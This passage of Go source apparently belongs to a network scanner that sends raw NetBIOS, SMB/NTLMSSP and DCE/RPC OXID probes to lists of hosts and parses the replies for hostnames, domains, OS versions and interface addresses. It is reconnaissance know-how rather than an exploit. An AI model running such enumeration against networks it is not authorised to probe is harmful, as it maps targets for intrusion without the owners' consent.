0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11,
0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60, 0x02, 0x00,
0x00, 0x00,
}
var oxidQuery2 = [...]byte{
0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x18, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x05, 0x00,
}
func ConncetNbios(ip string, port int) (string, int, error, []string) {
nbname, err := netBios(ip)
if nbname.msg != "" {
return ip, port, nil, []string{nbname.msg}
}
return ip, port, err, nil
}
var smbQuery = [...]byte{
0x00, 0x00, 0x00, 0xa4, 0xff, 0x53, 0x4d, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x08, 0x01, 0x40,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x06,
0x00, 0x00, 0x01, 0x00, 0x00, 0x81, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f,
0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x41, 0x4d, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02,
0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f, 0x46, 0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, 0x52,
0x4b, 0x53, 0x20, 0x31, 0x2e, 0x30, 0x33, 0x00, 0x02, 0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f,
0x46, 0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, 0x52, 0x4b, 0x53, 0x20, 0x33, 0x2e, 0x30, 0x00,
0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e,
0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x53, 0x61, 0x6d, 0x62, 0x61, 0x00, 0x02, 0x4e, 0x54,
0x20, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x4e, 0x54, 0x20,
0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00,
}
var (
UNIQUE_NAMES = map[string]string{
"\x00": "Workstation Service",
"\x03": "Messenger Service",
"\x06": "RAS Server Service",
"\x1F": "NetDDE Service",
"\x20": "Server Service",
"\x21": "RAS Client Service",
"\xBE": "Network Monitor Agent",
"\xBF": "Network Monitor Application",
"\x1D": "Master Browser",
"\x1B": "Domain Master Browser",
}
GROUP_NAMES = map[string]string{
"\x00": "Domain Name",
"\x1C": "Domain Controllers",
"\x1E": "Browser Service Elections",
}
NetBIOS_ITEM_TYPE = map[string]string{
"\x01\x00": "NetBIOS computer name",
"\x02\x00": "NetBIOS domain name",
"\x03\x00": "DNS computer name",
"\x04\x00": "DNS domain name",
"\x05\x00": "DNS tree name",
"\x07\x00": "Time stamp",
}
)
type NbnsName struct {
unique string
group string
msg string
osversion string
}
func netBios(host string)(nbname NbnsName,err error) {
nbname, err = getNbnsname(host)
var payload0 []byte
if err == nil {
name := netbiosEncode(nbname.unique)
payload0 = append(payload0, []byte("\x81\x00\x00D ")...)
payload0 = append(payload0, name...)
payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...)
}
realhost := fmt.Sprintf("%s:%v", host, 139)
conn, err := GetConn(realhost,TimeDuration)
defer func() {
if conn != nil {
conn.Close()
}
}()
if err != nil {
return
}
err = conn.SetDeadline(time.Now().Add(TimeDuration))
if err != nil {
return
}
if len(payload0) > 0 {
_, err1 := conn.Write(payload0)
if err1 != nil {
return
}
_, err1 = readbytes(conn)
if err1 != nil {
return
}
}
payload1 := []byte("\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00")
payload2 := []byte("\x00\x00\x01\x0a\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x40\x00\x0c\xff\x00\x0a\x01\x04\x41\x32\x00\x00\x00\x00\x00\x00\x00\x4a\x00\x00\x00\x00\x00\xd4\x00\x00\xa0\xcf\x00\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\xce\x0e\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x33\x00\x37\x00\x39\x00\x30\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x32\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x35\x00\x2e\x00\x32\x00\x00\x00\x00\x00")
_, err = conn.Write(payload1)
if err != nil {
return
}
_, err = readbytes(conn)
if err != nil {
return
}
_, err = conn.Write(payload2)
if err != nil {
return
}
ret, err := readbytes(conn)
if err != nil || len(ret) < 45 {
return
}
num1, err := bytetoint(ret[43:44][0])
if err != nil {
return
}
num2, err := bytetoint(ret[44:45][0])
if err != nil {
return
}
length := num1 + num2*256
if len(ret) < 48+length {
return
}
os_version := ret[47+length:]
tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124})
tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{})
msg1 := string(tmp1[:len(tmp1)-1])
nbname.osversion = msg1
index1 := strings.Index(msg1, "|")
if index1 > 0 {
nbname.osversion = nbname.osversion[:index1]
}
nbname.msg += "\n\t-------------------------------------------\n\t"
nbname.msg += msg1 + "\n\t"
start := bytes.Index(ret, []byte("NTLMSSP"))
if len(ret) < start+45 {
return
}
num1, err = bytetoint(ret[start+40 : start+41][0])
if err != nil {
return
}
num2, err = bytetoint(ret[start+41 : start+42][0])
if err != nil {
return
}
length = num1 + num2*256
num1, err = bytetoint(ret[start+44 : start+45][0])
if err != nil {
return
}
offset, err := bytetoint(ret[start+44 : start+45][0])
if err != nil || len(ret) < start+offset+length {
return
}
index := start + offset
for index < start+offset+length {
item_type := ret[index : index+2]
num1, err = bytetoint(ret[index+2 : index+3][0])
if err != nil {
return
}
num2, err = bytetoint(ret[index+3 : index+4][0])
if err != nil {
return
}
item_length := num1 + num2*256
item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{})
index += 4 + item_length
if string(item_type) == "\x07\x00" {
//Time stamp, 暂时不想处理
} else if NetBIOS_ITEM_TYPE[string(item_type)] != "" {
nbname.msg += fmt.Sprintf("%-22s: %s\n\t", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content))
} else if string(item_type) == "\x00\x00" {
break
} else {
nbname.msg += fmt.Sprintf("Unknown: %s\n\t", string(item_content))
}
}
nbname.msg=strings.TrimSpace(nbname.msg)
return nbname, err
}
func getNbnsname(host string) (nbname NbnsName, err error) {
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
realhost := fmt.Sprintf("%s:%v", host, 137)
conn, err := net.DialTimeout("udp", realhost, TimeDuration)
defer func() {
if conn != nil {
conn.Close()
}
}()
if err != nil {
return
}
err = conn.SetDeadline(time.Now().Add(TimeDuration))
if err != nil {
return
}
_, err = conn.Write(senddata1)
if err != nil {
return
}
text, err := readbytes(conn)
if err != nil {
return
}
if len(text) < 57 {
return nbname, fmt.Errorf("no names available")
}
num, err := bytetoint(text[56:57][0])
if err != nil {
return
}
data := text[57:]
msg:=""
for i := 0; i < num; i++ {
if len(data) < 18*i+16 {
break
}
name := string(data[18*i : 18*i+15])
flag_bit := data[18*i+15 : 18*i+16]
if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
msg += fmt.Sprintf("%s G %s\n\t", name, GROUP_NAMES[string(flag_bit)])
} else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
msg += fmt.Sprintf("%s U %s\n\t", name, UNIQUE_NAMES[string(flag_bit)])
} else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 {
name_flags := data[18*i+16 : 18*i+18][0]
if name_flags >= 128 {
nbname.group = strings.Replace(name, " ", "", -1)
msg += fmt.Sprintf("%s G %s\n\t", name, GROUP_NAMES[string(flag_bit)])
} else {
nbname.unique = strings.Replace(name, " ", "", -1)
msg += fmt.Sprintf("%s U %s\n\t", name, UNIQUE_NAMES[string(flag_bit)])
}
} else {
msg += fmt.Sprintf("%s \n\t", name)
}
}
nbname.msg += msg
nbname.msg=strings.TrimSpace(nbname.msg)
return
}
func bytetoint(text byte) (int, error) {
num1 := fmt.Sprintf("%v", text)
num, err := strconv.Atoi(num1)
return num, err
}
func readbytes(conn net.Conn) (result []byte, err error) {
buf := make([]byte, 4096)
for {
count, err := conn.Read(buf)
if err != nil {
break
}
result = append(result, buf[0:count]...)
if count < 4096 {
break
}
}
return result, err
}
func netbiosEncode(name string) (output []byte) {
var names []int
src := fmt.Sprintf("%-16s", name)
for _, a := range src {
char_ord := int(a)
high_4_bits := char_ord >> 4
low_4_bits := char_ord & 0x0f
names = append(names, high_4_bits, low_4_bits)
}
for _, one := range names {
out := one + 0x41
output = append(output, byte(out))
}
return
}
func Connectoxid(ip string,port int) (string, int, error, []string) {
conn, err := GetConn(fmt.Sprintf("%v:%v", ip, port),TimeDuration)
if err != nil {
return ip, port, err, nil
}
defer conn.Close()
err,oxidres:=oxidIpInfo(conn)
if err!=nil{
return ip,port,err,nil
}else {
return ip,port,nil,oxidres
}
}
func oxidIpInfo(conn net.Conn) (error, []string) {
buf := make([]byte, 256)
_, err := conn.Write(oxidQuery1[:])
if err != nil {
return err, nil
}
_, err = conn.Read(buf)
if err != nil {
return err, nil
}
_, err = conn.Write(oxidQuery2[:])
if err != nil {
return err, nil
}
_, err = conn.Read(buf)
if err != nil {
return err, nil
}
end := bytes.Index(buf, []byte{0x00, 0x00, 0x09, 0x00, 0xff, 0xff, 0x00, 0x00})
if len(buf)<40||end==-1{
return fmt.Errorf(""),nil
}
buf = buf[40:end]
var oxidRes []string
for i := bytes.Index(buf, []byte{0x00, 0x00, 0x00}); i != -1; {
res := buf[1:i]
res = bytes.Replace(res, []byte{0x00}, []byte(""), -1)
oxidRes = append(oxidRes, string(res))
buf = buf[i+3:]
i = bytes.Index(buf, []byte{0x00, 0x00, 0x00})
}
return nil, oxidRes
}
func smbinfo(conn net.Conn) (error,[]string) {
buf := make([]byte, 1024)
_, err := conn.Write(smbQuery[:])
if err != nil {
return err,nil
}
_, err = conn.Read(buf)
if err != nil {
return err,nil
}
if len(buf)<81{
return fmt.Errorf(""),nil
}
buf = buf[81:]
end := bytes.Index(buf, []byte{0x00, 0x00, 0x00})
var smbRes []string
domain := buf[:end]
hostname := buf[end:]
domain = bytes.Replace(domain, []byte{0x00}, []byte(""), -1)
hostname = bytes.Replace(hostname, []byte{0x00}, []byte(""), -1)
smbRes = append(smbRes, "domain: "+string(domain))
smbRes = append(smbRes, "hostname: "+string(hostname))
return nil,smbRes
}
func Connectsmb(ip string, port int) (string, int, error, []string) {
conn, err := GetConn(fmt.Sprintf("%v:%v", ip, port),TimeDuration)
if err != nil {
return ip, port, err, nil
}
defer conn.Close()
ok,smbRes:=smbinfo(conn)
if ok==nil{
return ip,port,nil,smbRes
}else {
return ip,port,ok,nil
}
}
func OxidScan(host []string){
//result := PortScan(host,[]int{135})
var wg sync.WaitGroup
for _,v := range host{
wg.Add(1)
go func(v string) {
defer wg.Done()
_,_,err,r := Connectoxid(v,135)
if err != nil {
return
}
if len(r) >= 2 {
Println(fmt.Sprintf("[OXID] Hostname %v Network %v",r[0],r[1:]))
}else{
Println(fmt.Sprintf("[OXID] %v",r))
}
}(v)
}
wg.Wait()
}
func SmbScan(host []string){
var wg sync.WaitGroup
for _,v := range host{
wg.Add(1)
go func(v string) {
defer wg.Done()
ip,_,err,r := Connectsmb(v,445)
if err != nil {
return
}
if len(r) >= 2 {
Println(fmt.Sprintf("[SMB] IP %s %v" ,ip,r))
}
}(v)
}
wg.Wait()
}
func NbtScan(host []string){
var wg sync.WaitGroup
for _,v := range host {
wg.Add(1)
go func(v string) {
defer wg.Done()
_,_,err,r := ConncetNbios(v,139)
if err != nil {
return
}
for _,s := range r {
Println(fmt.Sprintf("[+] %v",v))
Println(fmt.Sprintf("\t%v",s))
}
}(v)
}
wg.Wait()
}
func runall(host []string){
var wg sync.WaitGroup
for _,v := range host {
wg.Add(1)
go func(v string) {
defer wg.Done()
func(v string) {
_,_,err,r := ConncetNbios(v,139)
if err != nil {
return
}
for _,s := range r {
Println(fmt.Sprintf("[+] %v",v))
Println(fmt.Sprintf("\t%v",s))
}
}(v)
func(v string){
ip,_,err,r := Connectsmb(v,445)
if err != nil {
return
}
if len(r) >= 2 {
Println(fmt.Sprintf("[SMB] IP %s %v" ,ip,r))
}
}(v)
func (v string) {
_,_,err,r := Connectoxid(v,135)
if err != nil {
return
}
if len(r) >= 2 {
Println(fmt.Sprintf("[OXID] Hostname %v Network %v",r[0],r[1:]))
}else{
Println(fmt.Sprintf("[OXID] %v",r))
}
}(v)
}(v)
}
wg.Wait()
}